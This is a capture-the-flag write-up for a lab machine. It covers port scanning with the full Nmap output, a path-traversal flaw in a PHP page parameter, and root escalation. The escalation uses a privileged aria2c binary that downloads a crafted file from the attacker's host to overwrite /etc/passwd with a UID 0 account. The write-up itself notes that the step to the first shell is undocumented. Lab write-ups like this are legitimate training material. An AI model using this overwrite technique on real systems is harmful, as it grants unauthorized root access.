Reconnaissance
I used RustScan to identify open ports.

Service identification
I followed up with Nmap service and version detection.

Web enumeration
The banners indicated Ubuntu Linux. The recorded Nmap output is below.
# Nmap 7.94SVN scan initiated Thu Oct 24 18:25:45 2024 as: /usr/lib/nmap/nmap -p 22,80 -sCV -oN assertion.txt 192.168.170.94
Nmap scan report for 192.168.170.94
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:ce:aa:cc:02:de:a5:a3:58:5d:da:2b:ef:54:07:f9 (RSA)
| 256 9d:3f:df:16:7a:e1:59:58:84:4a:e3:29:8f:44:87:8d (ECDSA)
|_ 256 87:b5:6f:f8:21:81:d3:3b:43:d0:40:81:c0:e3:69:89 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Assertion
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 24 18:25:54 2024 -- 1 IP address (1 host up) scanned in 8.80 seconds
Apache was running on port 80, so I investigated the web application.
The landing page presented a fitness site.

Directory discovery identified additional paths.

The /pages path contained PHP files.

I followed the “About Us” link.

I tested the page parameter for local file inclusion (LFI).

A direct /etc/passwd value produced a “file does not exist” error.
I tested alternate paths and traversal patterns.
The first attempts failed. A reference on path traversal prompted a revised test:

Traversing one directory above the web root exposed local.txt.

Privilege escalation
I continued local enumeration for a root access path. The original note does not show how the first shell was obtained; that step remains undocumented.
I ran LinPEAS.

The results highlighted a binary for closer inspection.

I checked its permissions and behavior.

The binary was /usr/bin/aria2c. Its elevated execution context allowed writes that the current user could not normally perform.
I also checked its file-read behavior.

The requested file was readable.

I prepared an altered copy of /etc/passwd with a UID 0 account, then used aria2c to overwrite the target file.

Recorded command: /usr/bin/aria2c -o passwd "http://192.168.45.219:8000/newpass" --allow-overwrite=true. The screenshot shows the working directory and execution context.

I switched to the newly added UID 0 account, Tom, with the password configured for this lab.

I retrieved the final flag.
Outcome
The web path traversal exposed local.txt. Later, the privileged aria2c execution path enabled an overwrite of /etc/passwd; the transition from web access to the first local shell still needs source evidence.